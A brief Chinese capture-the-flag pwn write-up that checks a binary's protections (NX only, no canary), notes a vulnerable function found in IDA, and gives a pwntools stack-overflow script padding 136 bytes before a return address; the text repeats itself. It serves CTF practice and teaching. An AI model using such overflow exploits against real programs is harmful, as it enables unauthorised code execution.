PWN题_1
0x00 查保护
查保护发现题目只开启了NX,栈保护没有开,初步推测题目考察的是栈溢出。

0x01 静态分析
使用IDA进行静态分析。
主函数一共调用了两个函数write、vulnerable_function。



0x02 PWN
from pwn import * p = process("pwn") payload = 'a'*136 + p64(0x400596) p.sendline(payload) p.interactive()
查保护发现题目只开启了NX,栈保护没有开,初步推测题目考察的是栈溢出。
使用IDA进行静态分析。
主函数一共调用了两个函数write、vulnerable_function。
0x02 PWN
from pwn import * p = process("pwn") payload = 'a'*136 + p64(0x400596) p.sendline(payload) p.interactive()